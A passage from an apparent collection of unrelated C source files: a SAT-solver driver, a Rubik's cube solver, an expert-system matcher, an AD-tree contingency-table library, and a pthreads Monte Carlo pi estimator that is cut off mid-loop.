if (verbose) fputs ("c\n", output);
if (trace)
{
if (verbose)
fprintf (output, "c tracing proof\n");
picosat_enable_trace_generation (picosat);
}
if (defaultphase)
{
if (verbose)
fprintf (output, "c using %d as default phase\n", defaultphase);
picosat_set_global_default_phase (picosat, defaultphase);
}
if (propagation_limit >= 0)
{
if (verbose)
fprintf (output, "c propagation limit of %lld propagations\n",
propagation_limit);
picosat_set_propagation_limit (picosat,
(unsigned long long) propagation_limit);
}
if (partial)
{
if (verbose)
fprintf (output,
"c saving original clauses for partial assignment\n");
picosat_save_original_clauses (picosat);
}
if (verbose)
fprintf (output, "c\nc parsing %s\n", input_name);
if (verbose)
fflush (output);
if ((err_msg = parse (picosat, force)))
{
fprintf (output, "%s:%d: %s\n", input_name, lineno, err_msg);
err = 1;
}
else
{
NEXT_SOLUTION:
if (assumptions)
{
i = 0;
while ((i = next_assumption (i)))
{
assert (i < argc);
assumption = atoi (argv[i]);
assert (assumption);
picosat_assume (picosat, assumption);
if (verbose)
fprintf (output, "c assumption %d\n", assumption);
}
}
if (print_formula)
{
picosat_print (picosat, output);
}
else
{
if (verbose)
fprintf (output,
"c initialized %u variables\n"
"c found %u non trivial clauses\n",
picosat_variables (picosat),
picosat_added_original_clauses (picosat));
picosat_set_seed (picosat, seed);
if (verbose)
fprintf (output,
"c\nc random number generator seed %u\n",
seed);
res = picosat_sat (picosat, decision_limit);
if (res == PICOSAT_UNSATISFIABLE)
{
if (allsat)
fprintf (output, "s SOLUTIONS %lld\n", sols);
else
fputs ("s UNSATISFIABLE\n", output);
fflush (output);
if (compact_trace_name)
write_to_file (picosat,
compact_trace_name,
"compact trace",
picosat_write_compact_trace);
if (extended_trace_name)
write_to_file (picosat,
extended_trace_name,
"extended trace",
picosat_write_extended_trace);
if (!incremental_rup_file && rup_trace_name)
write_to_file (picosat,
rup_trace_name,
"rup trace",
picosat_write_rup_trace);
if (clausal_core_name)
write_to_file (picosat,
clausal_core_name,
"clausal core",
picosat_write_clausal_core);
if (variable_core_name)
write_to_file (picosat,
variable_core_name,
"variable core",
write_core_variables);
if (failed_assumptions_name)
write_to_file (picosat,
failed_assumptions_name,
"failed assumptions",
write_failed_assumptions);
}
else if (res == PICOSAT_SATISFIABLE)
{
if (allsat)
{
sols++;
if (verbose)
fprintf (output, "c\nc solution %lld\nc\n", sols);
}
if (!allsat || print_satisfying_assignment)
fputs ("s SATISFIABLE\n", output);
if (!allsat || verbose || print_satisfying_assignment)
fflush (output);
if (print_satisfying_assignment)
printa (picosat, partial);
if (allsat)
{
blocksol (picosat);
goto NEXT_SOLUTION;
}
}
else
{
fputs ("s UNKNOWN\n", output);
if (allsat && verbose)
fprintf (output,
"c\nc limit reached after %lld solutions\n",
sols);
fflush (output);
}
}
}
if (!err && verbose)
{
fputs ("c\n", output);
picosat_stats (picosat);
fprintf (output,
"c %.1f seconds total run time\n",
picosat_time_stamp () - start_time);
}
if (sol)
{
free (sol);
sol = 0;
}
picosat_leave (picosat);
if (psptr)
*psptr = 0;
picosat_reset (picosat);
}
if (incremental_rup_file)
fclose (incremental_rup_file);
if (close_input)
fclose (input);
if (pclose_input)
pclose (input);
if (output_name)
fclose (output);
return res;
}
|
C
|
/**
*ֲJaap ScherphuisĽħ㷨ԴļԴjaapļҵ
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define SWAP(a,b) TEMP=a;a=b;b=TEMP;
#define CHAROFFSET 65
#define swap(a) switch (a)\
{case 0:a='F';break;\
case 1:a='U';break;\
case 2:a='D';break;\
case 3:a='L';break;\
case 4:a='R';break;\
case 5:a='B';break;\
default:break;}
char
*faces = "RLFBUD",
*order = "AECGBFDHIJKLMSNTROQP",
*bithash = "TdXhQaRbEFIJUZfijeYV",
*perm = "AIBJTMROCLDKSNQPEKFIMSPRGJHLNTOQAGCEMTNSBFDHORPQ",
pos[20], ori[20], val[20], TEMP, *tables[8];
int move1[20], moveamount[20], phase = 0,
tablesize[] = {1,4096,6561,4096,256,1536,13824,576};
int MidCompared(int a, int* b)
{
int i = 0;
while (a != b[i])
i++;
return i;
}
void display(int* buf, char cube[][4])
{
int i = 0, a = 0, b = 0, c = 0;
for (i = 0; i < 12; i++)
{
a = buf[i] / 10;
b = buf[i] - a * 10;
swap(a);
swap(b);
cube[i + 1][0] = a;
cube[i + 1][1] = b;
cube[i + 1][2] = '\0';
}
for (; i < 20; i++)
{
a = buf[i] / 100;
b = (buf[i] - a * 100) / 10;
c = buf[i] - a * 100 - b * 10;
swap(a);
swap(b);
swap(c);
cube[i + 1][0] = a;
cube[i + 1][1] = b;
cube[i + 1][2] = c;
cube[i + 1][3] = '\0';
}
}
void cycle(char*p, char*a)
{
SWAP(p[*a - CHAROFFSET], p[a[1] - CHAROFFSET]);
SWAP(p[*a - CHAROFFSET], p[a[2] - CHAROFFSET]);
SWAP(p[*a - CHAROFFSET], p[a[3] - CHAROFFSET]);
}
void twist(int i, int a)
{
i -= CHAROFFSET;
ori[i] = (ori[i] + a + 1) % val[i];
}
void reset()
{
int i = 0;
for (i = 0; i<20; pos[i] = i, ori[i++] = 0);
}
int permtonum(char* p)
{
int n = 0, a = 0, b = 0;
for (a = 0; a<4; a++)
{
n *= 4 - a;
for (b = a; ++b<4; )
if (p[b]<p[a]) n++;
}
return n;
}
void numtoperm(char* p, int n, int o)
{
int a = 0, b = 0;
p += o;
p[3] = o;
for (a = 3; a--;)
{
p[a] = n % (4 - a) + o;
n /= 4 - a;
for (b = a; ++b<4; )
if (p[b] >= p[a]) p[b]++;
}
}
int getposition(int t)
{
int i = -1, n = 0;
int corn[8], j = 0, k = 0, l = 0, corn2[4];
switch (t) {
case 1:
for (; ++i<12;) n += ori[i] << i;
break;
case 2:
for (i = 20; --i>11;) n = n * 3 + ori[i];
break;
case 3:
for (; ++i<12;) n += (pos[i] & 8) ? (1 << i) : 0;
break;
case 4:
for (; ++i<8;) n += (pos[i] & 4) ? (1 << i) : 0;
break;
case 5:
k = j = 0;
for (; ++i<8;)
if ((l = pos[i + 12] - 12) & 4)
{
corn[l] = k++;
n += 1 << i;
}
else corn[j++] = l;
for (i = 0; i<4; i++) corn2[i] = corn[4 + corn[i]];
for (; --i;) corn2[i] ^= corn2[0];
n = n * 6 + corn2[1] * 2 - 2;
if (corn2[3]<corn2[2])n++;
break;
case 6:
n = permtonum(pos) * 576 + permtonum(pos + 4) * 24 + permtonum(pos + 12);
break;
case 7:
n = permtonum(pos + 8) * 24 + permtonum(pos + 16);
break;
}
return n;
}
void setposition(int t, int n)
{
int i = 0, j = 12, k = 0;
char *corn = "QRSTQRTSQSRTQTRSQSTRQTSR";
reset();
switch (t)
{
case 1:
for (; i<12; i++, n >>= 1) ori[i] = n & 1;
break;
case 2:
for (i = 12; i<20; i++, n /= 3) ori[i] = n % 3;
break;
case 3:
for (; i<12; i++, n >>= 1) pos[i] = 8 * n & 8;
break;
case 4:
for (; i<8; i++, n >>= 1) pos[i] = 4 * n & 4;
break;
case 5:
corn += n % 6 * 4;
n /= 6;
for (; i<8; i++, n >>= 1)
pos[i + 12] = n & 1 ? corn[k++] - CHAROFFSET : j++;
break;
case 6:
numtoperm(pos, n % 24, 12); n /= 24;
numtoperm(pos, n % 24, 4); n /= 24;
numtoperm(pos, n, 0);
break;
case 7:
numtoperm(pos, n / 24, 8);
numtoperm(pos, n % 24, 16);
break;
}
}
void domove(int m)
{
char *p = perm + 8 * m, i = 8;
cycle(pos, p);
cycle(ori, p);
cycle(pos, p + 4);
cycle(ori, p + 4);
if (m<4)
for (; --i>3;) twist(p[i], i & 1);
if (m<2)
for (i = 4; i--;) twist(p[i], 0);
}
void filltable(int ti)
{
int n = 1, l = 1, tl = tablesize[ti], i = 0, f = 0, q = 0, r = 0;
char* tb = tables[ti] = (char*)malloc(tl*sizeof(char));
memset(tb, 0, tl);
reset();
tb[getposition(ti)] = 1;
while (n)
{
n = 0;
for (i = 0; i<tl; i++)
{
if (tb[i] == l)
{
setposition(ti, i);
for (f = 0; f<6; f++)
{
for (q = 1; q<4; q++)
{
domove(f);
r = getposition(ti);
if ((q == 2 || f >= (ti & 6)) && !tb[r])
{
tb[r] = l + 1;
n++;
}
}
domove(f);
}
}
}
l++;
}
}
int searchphase(int movesleft, int movesdone, int lastmove)
{
int i = 0, j = 0;
if (tables[phase][getposition(phase)] - 1 > movesleft || tables[phase + 1][getposition(phase + 1)] - 1 > movesleft)
return 0;
if (!movesleft) return 1;
for (i = 6; i--;)
{
if (i - lastmove && (i - lastmove + 1 || i | 1))
{
move1[movesdone] = i;
for (j = 0; ++j<4;)
{
domove(i);
moveamount[movesdone] = j;
if ((j == 2 || i >= phase) && searchphase(movesleft - 1, movesdone + 1, i))
return 1;
}
domove(i);
}
}
return 0;
}
void solve(char color[20][3], char ans[70])
{
int f = 0, i = 0, j = 0, k = 0, pc = 0, mor = 0, n = 0;
for (; k<20; k++) val[k] = k<12 ? 2 : 3;
for (; j<8; j++) filltable(j);
for (; i<20; i++) {
f = pc = k = mor = 0;
for (; f<val[i]; f++) {
j = strchr(faces, color[i][f]) - faces;
if (j>k) { k = j; mor = f; }
pc += 1 << j;
}
for (f = 0; f<20; f++)
if (pc == bithash[f] - 64) break;
pos[order[i] - CHAROFFSET] = f;
ori[order[i] - CHAROFFSET] = mor%val[i];
}
for (; phase<8; phase += 2)
{
for (j = 0; !searchphase(j, 0, 9); j++);
for (i = 0; i < j; i++)
{
ans[n++] = "FBRLUD"[move1[i]];
ans[n++] = "0123"[moveamount[i]];
}
}
}
|
C
|
#include "expert.h"
char ft_match(char *temp, t_g *all)
{
int j, fmax, fpos;
fmax = all->fcount;
fpos = 0;
while (fpos <= fmax)
{
//ft_putstr("this is all->facts[fpos] in ft_match: ");
//ft_putchar(all->facts[fpos]);
//ft_putchar('\n');
j = 0;
while (temp[j] == ' ')
j++;
if (temp[j] == all->facts[fpos])
{
return ('t');
}
fpos++;
}
return ('f');
}
char ft_match_chr(char temp, t_g *all)
{
int fmax, fpos;
fmax = all->fcount;
fpos = 0;
while (fpos <= fmax)
{
if (temp == all->facts[fpos])
{
return ('t');
}
fpos++;
}
return ('f');
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <assert.h>
#include "adtree.h"
#define BLOCKSIZE 10000
#define MAXARITY UCHAR_MAX
typedef unsigned int VARIABLE; /**< Variable in the data */
/* indexing with "int" is supposed to be quicker but empirically
it has been shown that "unsigned char" is substantially faster,
presumably due to memory savings */
typedef unsigned int COUNT; /**< Count, typically of datapoints */
typedef double SCORE; /**< A local score. Currently only BDeu, BGe and BIC implemented */
typedef unsigned int ROW; /**< Index of a row (i.e.\ datapoint) in the data */
typedef unsigned char ARITY; /**< Arity of a variable in the data */
typedef unsigned char VALUE; /**< Value of a variable in the data */
typedef COUNT* FLATCONTAB; /**< Flat contingency table */
/** represents data for a 'query', e.g.\ X1=1,X3=2
*
* There is always a count of how many datapoints satisfy the query.
* If, as is most common, the highest-indexed variable (in the entire dataset) is not mentioned in the query then:
* if the count < rmin there is a pointer to the datapoint indices for the data
* otherwise there is a pointer to an 'array' of 'vary nodes' one for each
* of the remaining variables.
*/
struct adtree
{
COUNT count; /**< how many datapoints for this query */
struct varynode *children; /**< one for each variable specialising the query, if any
(NULL if leaflist is used or there are no specialisations)*/
ROW *leaflist; /**< leaflist, if used (NULL otherwise ) */
};
typedef struct adtree ADTREE; /**< An AD tree */
struct varynode /** for splitting data on values of a particular variable (variable not stored in varynode) */
{
struct adtree **children; /**< children[val] is a pointer to the ADTREE for the specialisation var=val
(or NULL if no data for this, mcv) */
VALUE mcv; /**< most common value for this variable (in appropriate 'conditional' dataset) */
};
typedef struct varynode VARYNODE; /**< A varynode (in an AD tree) */
union treecontab /** A tree-shaped contingency table */
{
union treecontab *children; /**< when there are variables...
if treecontab.children == NULL then there are only zero counts in the contingency table.
if treecontab.children != NULL then treecontab.children[i] is the treecontab formed by specialising on
the ith value of the first variable */
COUNT count; /**< when there are no variables treecontab.count just stores a count */
};
typedef union treecontab TREECONTAB; /**< A tree-shaped contingency table. The variables for the contingency table are not stored in
this data structure. */
struct adtree_etc
{
ADTREE* adtree;
VALUE** data;
ARITY* arity;
VARIABLE nvars;
};
typedef struct adtree_etc ADTREE_ETC; /**< An AD tree with data and arities*/
void build_varynode(VARYNODE *varynode, VARIABLE variable, ROW *theserows, COUNT count, int rmin, const int depth, int *n_nodes, const int adtreedepthlim, const int adtreenodeslim, VARIABLE nvars, VALUE **data, ARITY *arity);
/** Build an AD tree from (a subset of) the data */
void build_adtree(
ADTREE *adtree, /**< pointer to ADTREE being built */
const VARIABLE variable, /**< first variable to specialise further on, if variable=nvars then there is none */
ROW *theserows, /**< datapoint indices for this tree */
COUNT count, /**< number of datapoints for this tree */
const int rmin, /**< if count below this then create a leaflist */
const int depth, /**< the depth of this node */
int *n_nodes, /**< (pointer to) the number of nodes in the ADTREE */
const int adtreedepthlim, /**< limit on the depth of the ADTREE */
const int adtreenodeslim, /**< limit on the number of nodes in the ADTREE */
const VARIABLE nvars, /**< Number of variables in the data */
VALUE **data, /**< data[i][j] is the value of variable i in row j */
ARITY *arity /**< arity[i] is the arity of variable i, */
)
{
COUNT j;
VARIABLE var;
assert(variable < nvars + 1);
assert(count > 0);
assert(theserows != NULL);
assert(adtree != NULL);
adtree->count = count;
adtree->leaflist = NULL;
adtree->children = NULL;
/* if there can be no further splitting just record count */
if( variable < nvars )
{
/* if count small enough then make a leaflist which is a copy of theserows */
/* if depth too large or number of nodes too large, similarly just dump records in a leaflist */
if( (int) count < rmin || depth > adtreedepthlim || *n_nodes > adtreenodeslim )
{
adtree->leaflist = (ROW *) malloc(count * sizeof(ROW));
for( j = 0; j < count; ++j )
adtree->leaflist[j] = theserows[j];
}
/* or create vary nodes - one for each further variable - and recurse */
else
{
adtree->children = (VARYNODE *) malloc((nvars - variable) * sizeof(VARYNODE));
if( adtree->children == NULL )
printf("Couldn't allocate memory for vary nodes\n");
for( var = variable; var < nvars; ++var )
build_varynode((adtree->children) + (var - variable), var, theserows, count, rmin, depth, n_nodes, adtreedepthlim, adtreenodeslim, nvars, data, arity);
}
}
/* can always free since data indices are always copied */
free(theserows);
return;
}
/** Build an vary node from (a subset of) the data */
void build_varynode(
VARYNODE *varynode, /**< varynode being built */
VARIABLE variable, /**< which variable is being split */
ROW *theserows, /**< datapoint indices to divide between values of variable */
COUNT count, /**< number of datapoints for this tree */
const int rmin, /**< if count below this then create a leaflist */
int depth, /**< the depth of this node */
int *n_nodes, /**< (pointer to) the number of nodes in the ADTREE */
const int adtreedepthlim, /**< limit on the depth of the ADTREE */
const int adtreenodeslim, /**< limit on the number of nodes in the ADTREE */
VARIABLE nvars, /**< Number of variables in the data */
VALUE **data, /**< data[i][j] is the value of variable i in row j */
ARITY *arity /**< arity[i] is the arity of variable i, */
)
{
const VALUE *thisdata = data[variable];
const ARITY thisarity = arity[variable];
ROW **childdata;
COUNT *childcount;
VALUE val;
COUNT j;
VALUE mcv = 0;
COUNT countmcv = 0;
ROW row;
assert(variable < nvars);
assert(varynode != NULL);
assert(theserows != NULL);
assert(count > 0);
/* initialise data structures for splitting data on values of the variable */
childdata = (ROW **) malloc(thisarity * sizeof(ROW *));
if( childdata == NULL )
printf("Couldn't allocate childdata\n");
childcount = (COUNT *) malloc(thisarity * sizeof(COUNT));
if( childcount == NULL )
printf("Couldn't allocate childcount\n");
for( val = 0; val < thisarity; ++val )
{
/* lazily allocate space of size 'count' for each val
(which is certainly big enough), perhaps should
do allocate in small blocks, on demand
*/
childdata[val] = (ROW *) malloc(count * sizeof(ROW));
if( childdata[val] == NULL )
printf("Couldn't allocate childdata_val\n");
childcount[val] = 0;
}
/* split the data for this tree on values of the variable */
for( j = 0; j < count; ++j )
{
row = theserows[j];
val = thisdata[row];
childdata[val][childcount[val]++] = row;
}
/* find most common value */
for( val = 0; val < thisarity; ++val )
if( childcount[val] > countmcv )
{
countmcv = childcount[val];
mcv = val;
}
assert(countmcv > 0);
varynode->mcv = mcv;
/* throw away rows for mcv and any zero counts resize the others */
/* resize as soon as possible */
for( val = 0; val < thisarity; ++val )
{
if( val == mcv || childcount[val] == 0 )
free(childdata[val]);
else
{
childdata[val] = (ROW *) realloc(childdata[val], childcount[val] * sizeof(ROW));
if( childdata[val] == NULL )
printf("Couldn't re-allocate childdata_val\n");
}
}
varynode->children = (ADTREE **) malloc(thisarity * sizeof(ADTREE *));
if( varynode->children == NULL )
printf("Couldn't allocate memory for AD trees\n");
variable++; /* can lead to variable=nvars, ie a fake 'extra' variable */
for( val = 0; val < thisarity; ++val )
{
if( val == mcv || childcount[val] == 0 )
varynode->children[val] = NULL;
else
{
/* childdata[val] freed in build_adtree (unless it becomes a leaflist) */
varynode->children[val] = (ADTREE *) malloc(sizeof(ADTREE));
(*n_nodes)++;
if( varynode->children[val] == NULL )
printf("Couldn't allocate memory for AD tree\n");
build_adtree(varynode->children[val], variable, childdata[val], childcount[val],
rmin, depth + 1, n_nodes, adtreedepthlim, adtreenodeslim, nvars, data, arity);
}
}
free(childdata);
free(childcount);
return;
}
static void print_varynode(VARYNODE* varynode, const VARIABLE variable, VARIABLE nvars, ARITY *arity);
/** Print an AD tree (for debugging) */
static
void print_adtree(
ADTREE *adtree, /**< pointer to ADTREE being deleted */
const VARIABLE variable, /**< first variable to specialise further on, if variable=nvars then there is none */
VARIABLE nvars, /**< Number of variables in the data */
ARITY *arity /**< arity[i] is the arity of variable i, */
)
{
printf("adtree=%p,count=%d,firstvarspec=%d,leaflist=%p,children=%p\n",
(void*)adtree,adtree->count,variable,(void*)adtree->leaflist,(void*)adtree->children);
if( adtree->children != NULL )
{
VARIABLE var;
printf("%d children:\n",nvars-variable);
for( var = variable; var < nvars; ++var )
{
printf("varynode %p for variable %d\n", (void*)((adtree->children) + (var-variable)), var);
}
printf("\n");
for( var = variable; var < nvars; ++var )
{
/* printf("varynode for variable %d\n",var); */
print_varynode((adtree->children) + (var - variable),var,nvars,arity);
}
}
if( adtree->leaflist != NULL )
{
printf("leaflist of size %d\n",adtree->count);
/* COUNT j; */
/* printf("leaflist="); */
/* for( j = 0; j < adtree->count; ++j ) */
/* printf("%d,",adtree->leaflist[j]); */
/* printf("END\n"); */
}
}
/** Print an AD tree (for debugging) */
static
void print_varynode(
VARYNODE* varynode, /**< varynode to print */
const VARIABLE variable, /**< which variable is being split */
VARIABLE nvars, /**< Number of variables in the data */
ARITY *arity /**< arity[i] is the arity of variable i, */
)
{
const ARITY thisarity = arity[variable];
VALUE val;
printf("varynode=%p,firstvarspec=%d,arity=%d,children=%p,mcv=%d\n",
(void*)varynode,variable,thisarity,(void*)varynode->children,varynode->mcv);
printf("%d children:\n",thisarity);
for( val = 0; val < thisarity; ++val )
{
printf("adtree %p for value %d\n", (void*)varynode->children[val], val);
}
printf("\n");
for( val = 0; val < thisarity; ++val )
{
printf("val=%d\n",val);
if( varynode->children[val] == NULL )
printf("NULL\n");
else
print_adtree(varynode->children[val],variable+1,nvars,arity);
}
printf("\n");
}
ADTREE* ret_adtree(
const int rmin, /**< if count below this then create a leaflist */
const int adtreedepthlim, /**< limit on the depth of the ADTREE */
const int adtreenodeslim, /**< limit on the number of nodes in the ADTREE */
const VARIABLE nvars, /**< Number of variables in the data */
const COUNT nrows, /**< Number of datapoints in the data */
VALUE **data, /**< data[i][j] is the value of variable i in row j */
ARITY *arity /**< arity[i] is the arity of variable i, */
)
{
ADTREE* adtree = malloc(sizeof(ADTREE));
ROW* allrows;
int n_nodes = 0;
int i;
allrows = (ROW *) malloc(nrows * sizeof(ROW));
for( i = 0; i < nrows; ++i )
allrows[i] = i;
build_adtree(adtree, 0, allrows, nrows, rmin, 0, &n_nodes,
adtreedepthlim, adtreenodeslim, nvars, data, arity);
/* printf("Just made adtree.\n"); */
/* print_adtree(adtree,0,nvars,arity); */
return adtree;
}
void* return_adtree(
int rmin, /**< if count below this then create a leaflist */
int adtreedepthlim, /**< limit on the depth of the ADTREE */
int adtreenodeslim, /**< limit on the number of nodes in the ADTREE */
unsigned char* data, /**< data[i*ndatapoints_plus_one+j+1] is the value of variable i in datapoint j,
data[i*ndatapoints_plus_one] is arity of variable i */
int nvars, /**< Number of variables in the data */
int ndatapoints_plus_one /**< Number of datapoints in the data plus one */
)
{
ADTREE* adtree;
VALUE* mydata;
VALUE** data2;
int i;
int j;
int k;
int l;
ADTREE_ETC* adtree_etc = malloc(sizeof(ADTREE_ETC));
ARITY* arities;
int ndatapoints = ndatapoints_plus_one - 1;
int data_length;
data_length = nvars * ndatapoints;
mydata = (VALUE *) malloc(data_length * sizeof(VALUE));
/* need data2[i][j] to be value of variable i for datapoint j */
data2 = (VALUE **) malloc(nvars * sizeof(VALUE *));
arities = (ARITY *) malloc(nvars * sizeof(ARITY *));
j = 0; /* index for my data */
k = 0; /* index for incoming data (which includes arities) */
for( i = 0; i < nvars; i++)
{
arities[i] = data[k++];
data2[i] = mydata+j;
for( l = 0; l < ndatapoints; l++)
mydata[j++] = data[k++];
}
/* for( i = 0; i < nrows; i++) */
/* { */
/* for( j = 0; j < nvars; j++) */
/* printf("%d ",data2[i][j]); */
/* printf("\n"); */
/* } */
/* for( i = 0; i < nrows; i++) */
/* { */
/* for( j = 0; j < nvars; j++) */
/* printf("%d ",data[i*nvars + j]); */
/* printf("\n"); */
/* } */
adtree = ret_adtree(
rmin, adtreedepthlim, adtreenodeslim, (VARIABLE) nvars,
(COUNT) ndatapoints_plus_one - 1, /* number of datapoints */
data2, arities);
adtree_etc->adtree = adtree;
adtree_etc->data = data2;
adtree_etc->arity = arities;
adtree_etc->nvars = (VARIABLE) nvars;
/* for( i = 0; i < nvars; i++) */
/* printf("%d %d\n",i,adtree_etc->arity[i]); */
return (void *) adtree_etc;
}
/** Construct a flat contingency table from a leaflist
* ( contingency table must be for at least one variable )
*/
static
void makeflatcontableaf(
const ROW *leaflist, /**< datapoints for this query */
COUNT count, /**< number of datapoints (in leaflist) */
const VARIABLE *variables, /**< variables in the contingency table (sorted) */
const int *strides, /**< stride sizes for each variable */
int nvariables, /**< number of variables in the contingency table */
FLATCONTAB flatcontab, /**< Contingency table initialised to zero */
VALUE **data /**< data[i][j] is the value of variable i in row j */
)
{
COUNT j;
int i;
int k;
ROW row;
int stride0;
const VALUE* data0;
int stride1;
const VALUE* data1;
int stride2;
const VALUE* data2;
int stride3;
const VALUE* data3;
int stride4;
const VALUE* data4;
switch( nvariables )
{
case 1:
{
stride0 = strides[0];
data0 = data[variables[0]];
for( j = 0; j < count; ++j )
{
flatcontab[stride0*data0[leaflist[j]]]++;
/* printf("d1 %d\n",flatcontab[stride0*data0[leaflist[j]]]); */
}
break;
}
case 2:
{
stride0 = strides[0];
data0 = data[variables[0]];
stride1 = strides[1];
data1 = data[variables[1]];
for( j = 0; j < count; ++j )
{
row = leaflist[j];
flatcontab[stride0*data0[row] + stride1*data1[row]]++;
/* printf("d2 %d\n",flatcontab[stride0*data0[row] + stride1*data1[row]]); */
}
break;
}
case 3:
{
stride0 = strides[0];
data0 = data[variables[0]];
stride1 = strides[1];
data1 = data[variables[1]];
stride2 = strides[2];
data2 = data[variables[2]];
for( j = 0; j < count; ++j )
{
row = leaflist[j];
flatcontab[stride0*data0[row] + stride1*data1[row] + stride2*data2[row]]++;
}
break;
}
case 4:
{
stride0 = strides[0];
data0 = data[variables[0]];
stride1 = strides[1];
data1 = data[variables[1]];
stride2 = strides[2];
data2 = data[variables[2]];
stride3 = strides[3];
data3 = data[variables[3]];
for( j = 0; j < count; ++j )
{
row = leaflist[j];
flatcontab[stride0*data0[row] + stride1*data1[row] + stride2*data2[row] + stride3*data3[row]]++;
}
break;
}
case 5:
{
stride0 = strides[0];
data0 = data[variables[0]];
stride1 = strides[1];
data1 = data[variables[1]];
stride2 = strides[2];
data2 = data[variables[2]];
stride3 = strides[3];
data3 = data[variables[3]];
stride4 = strides[4];
data4 = data[variables[4]];
for( j = 0; j < count; ++j )
{
row = leaflist[j];
flatcontab[stride0*data0[row] + stride1*data1[row] + stride2*data2[row] + stride3*data3[row] + stride4*data4[row]]++;
}
break;
}
default:
{
for( j = 0; j < count; ++j )
{
row = leaflist[j];
i = 0;
for(k = 0; k < nvariables; k++)
i += strides[k]*data[variables[k]][row];
flatcontab[i]++;
}
break;
}
}
}
/** Construct a flat contingency table from an adtree
*/
static
void makeflatcontab(
const ADTREE *adtree, /**< (Pointer to) the ADTREE */
VARIABLE offset, /**< Offset for first variable (to identify correct vary nodes) */
const VARIABLE *variables, /**< Variables in the sought contingency table (sorted) */
const int *strides, /**< stride sizes for each variable */
int nvariables, /**< Number of variables in the contingency table */
FLATCONTAB flatcontab, /**< Contingency table initialised with zeroes */
VALUE **data, /**< data[i][j] is the value of variable i in row j */
const ARITY *arity /**< arity[i] is the arity of variable i, */
)
{
VARYNODE vn;
FLATCONTAB flatcontabmcv;
VALUE val;
FLATCONTAB flatcontabval;
int i;
/* printf("foo %d\n",nvariables); */
assert(adtree != NULL);
assert(flatcontab != NULL);
assert(data != NULL);
assert(arity != NULL);
assert(nvariables == 0 || variables != NULL);
assert(nvariables == 0 || strides != NULL);
assert(adtree->children == NULL || adtree->leaflist == NULL );
if( nvariables == 0 )
{
flatcontab[0] = adtree->count;
return;
}
if( adtree->leaflist != NULL )
{
/* construct contingency table directly from data in leaf list */
makeflatcontableaf(adtree->leaflist, adtree->count, variables, strides, nvariables, flatcontab, data);
return;
}
/* find varynode for firstvar */
vn = adtree->children[variables[0] - offset];
flatcontabmcv = flatcontab+strides[0]*vn.mcv;
/* make contingency table where variables[0] is marginalised away (and store at flatcontab + stride*vn.mcv) */
makeflatcontab(adtree, offset, variables+1, strides+1, nvariables-1, flatcontabmcv, data, arity);
for( val = 0; val < arity[variables[0]]; ++val )
{
/* if vn.children[val] == NULL then either val=vn.mcv or the contingency table for val is all zeroes
so do nothing */
if( vn.children[val] != NULL)
{
flatcontabval = flatcontab + strides[0]*val;
makeflatcontab(vn.children[val], variables[0]+1, variables+1, strides+1, nvariables-1, flatcontabval, data, arity);
/* subtract contingency table for val from that for mcv */
for(i = 0; i < strides[0]; ++i)
{
flatcontabmcv[i] -= flatcontabval[i];
}
}
}
}
void makecontab(
void* v_adtree_etc, /**< (Pointer to) the ADTREE_ETC */
unsigned int* variables, /**< Variables in the sought contingency table (sorted) */
int nvariables, /**< Number of variables in the contingency table */
unsigned int* flatcontab,
int flatcontabsize
)
{
int* strides;
int i;
int fsize;
ADTREE_ETC* adtree_etc = (ADTREE_ETC*) v_adtree_etc;
assert(adtree_etc != NULL);
assert(adtree_etc->adtree != NULL);
assert(adtree_etc->data != NULL);
assert(adtree_etc->arity != NULL);
/* compute size for a flat contingency table (and associated 'strides') */
/* this size already given and has been computed in Python */
strides = (int *) malloc(nvariables * sizeof(int));
fsize = 1;
for( i = nvariables - 1; i >= 0; i--)
{
strides[i] = fsize;
fsize *= adtree_etc->arity[variables[i]];
}
for(i = 0; i < flatcontabsize; i++)
flatcontab[i] = 0;
/* for(i = 0; i < flatcontabsize; i++) */
/* printf("foo %d ",flatcontab[i]); */
/* printf("\n"); */
/* printf("making flatcontab\n"); */
/* print_adtree(adtree_etc->adtree,0,adtree_etc->nvars,adtree_etc->arity); */
/* printf("adtree printing done\n"); */
makeflatcontab(adtree_etc->adtree, 0, (VARIABLE*) variables, strides, nvariables, flatcontab,
adtree_etc->data, adtree_etc->arity);
/* printf("size = %d",flatcontabsize); */
/* for(i = 0; i < flatcontabsize; i++) */
/* printf("foo %d ",flatcontab[i]); */
/* printf("\n"); */
free(strides);
}
/** Delete an AD tree */
void delete_adtree(
ADTREE *adtree, /**< pointer to ADTREE being deleted */
const VARIABLE variable, /**< first variable to specialise further on, if variable=nvars then there is none */
VARIABLE nvars, /**< Number of variables in the data */
ARITY *arity /**< arity[i] is the arity of variable i, */
)
{
VARIABLE var;
VARYNODE *vn_ptr = adtree->children;
VARYNODE vn;
VALUE val;
if( adtree->leaflist != NULL )
{
assert(vn_ptr == NULL);
free(adtree->leaflist);
}
else if( vn_ptr != NULL )
{
assert(adtree->leaflist == NULL);
for( var = variable; var < nvars; ++var )
{
vn = vn_ptr[var - variable];
for( val = 0; val < arity[var]; ++val )
if( vn.children[val] != NULL )
delete_adtree(vn.children[val], var + 1, nvars, arity);
free(vn.children);
}
free(vn_ptr);
}
free(adtree);
return;
}
/** Delete an AD tree */
void del_adtree(
void *adtree, /**< pointer to ADTREE being deleted */
int nvars, /**< Number of variables in the data */
int *arity /**< arity[i] is the arity of variable i, */
)
{
delete_adtree((ADTREE*) adtree, 0, (VARIABLE) nvars, (ARITY*) arity);
}
|
C
|
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#define NUM_THREADS 8
#define TOT_COUNT 10000055
float randNumGen()
{
int random_value = rand();
float unit_random = random_value / (float) RAND_MAX;
return unit_random;
}
void *doCalcs(void *threadid)
{
long longTid;
longTid = (long)threadid;
int tid = (int)longTid;
float *in_count = (float *)malloc(sizeof(float));
*in_count=0;
float tot_iterations= TOT_COUNT/NUM_THREADS;
int counter=0;
for(counter=0;counter<tot_iterations;counter++){
float x = randNumGen();
float y = randNumGen();
float result = x*x+y*y;
result= sqrt(result);
if(result<1){
*in_count+=1;}
}
if(tid==0){
float remainder = TOT_COUNT%NUM_THREADS;
for(counter=0;counter<remainder;counter++){
float x = randNumGen();
float y = randNumGen();
float result = sqrt((x*x) + (y*y));
if(result<1){
*in_count+=1; }
}
}
pthread_exit((void *)in_count);
}
int main(int argc, char *argv[])
{
pthread_t threads[NUM_THREADS];
int rc;
long t;
void *status;
float tot_in=0;
for(t=0;t<NUM_THREADS;t++){
